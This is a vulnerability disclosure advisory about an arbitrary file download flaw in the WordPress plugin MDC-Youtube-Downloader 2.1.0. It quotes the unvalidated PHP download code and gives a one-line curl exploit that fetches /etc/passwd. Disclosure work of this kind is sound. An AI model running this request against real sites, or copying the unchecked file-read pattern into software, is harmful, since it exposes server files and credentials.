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WordPress MDC-Youtube-Downloader 2.1.0 File Disclosure

WordPress MDC-Youtube-Downloader 2.1.0 File Disclosure
Posted Jul 8, 2015
Authored by Larry W. Cashdollar

WordPress MDC-Youtube-Downloader plugin version 2.1.0 suffers from an arbitrary file download vulnerability.

tags | exploit, arbitrary, info disclosure
SHA-256 | bfc292bbcff8faef59696b27e2a04cc7323259c72462cadda4b0f660dd8970b7

WordPress MDC-Youtube-Downloader 2.1.0 File Disclosure

Change Mirror Download
Title: Remote file download in Wordpress Plugin mdc-youtube-downloader v2.1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-01
Download Site: https://wordpress.org/plugins/mdc-youtube-downloader
Vendor: https://profiles.wordpress.org/mukto90/
Vendor Notified: 2015-07-01, removed vulnerable code.
Vendor Contact: n.mukto@gmail.com
Description: MDC YouTube Downloader allows visitors to download YouTube videos directly from your WordPress site.
Vulnerability:
The code in mdc-youtube-downloader/includes/download.php doesn't restrict access to the local file system allowing sensitive files to be
downloaded:

$file_name = $_GET['file'];

// make sure it's a file before doing anything!
if(is_file($file_name)) {
.
.
.
switch(strtolower(substr(strrchr($file_name, '.'), 1))) {
case 'pdf': $mime = 'application/pdf'; break;
case 'zip': $mime = 'application/zip'; break;
case 'jpeg':
case 'jpg': $mime = 'image/jpg'; break;
default: $mime = 'application/force-download';
}
header('Pragma: public'); // required
header('Expires: 0'); // no cache
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Last-Modified: '.gmdate ('D, d M Y H:i:s', filemtime ($file_name)).' GMT');
header('Cache-Control: private',false);
header('Content-Type: '.$mime);
header('Content-Disposition: attachment; filename="'.basename($file_name).'"');
header('Content-Transfer-Encoding: binary');
header('Content-Length: '.filesize($file_name)); // provide file size
header('Connection: close');
readfile($file_name); // push it out
exit();

CVEID: Requested, TBD.
OSVDB: TBD.
Exploit Code:
• $ curl http://www.example.com/wp-content/plugins/mdc-youtube-downloader/includes/download.php?file=/etc/passwd


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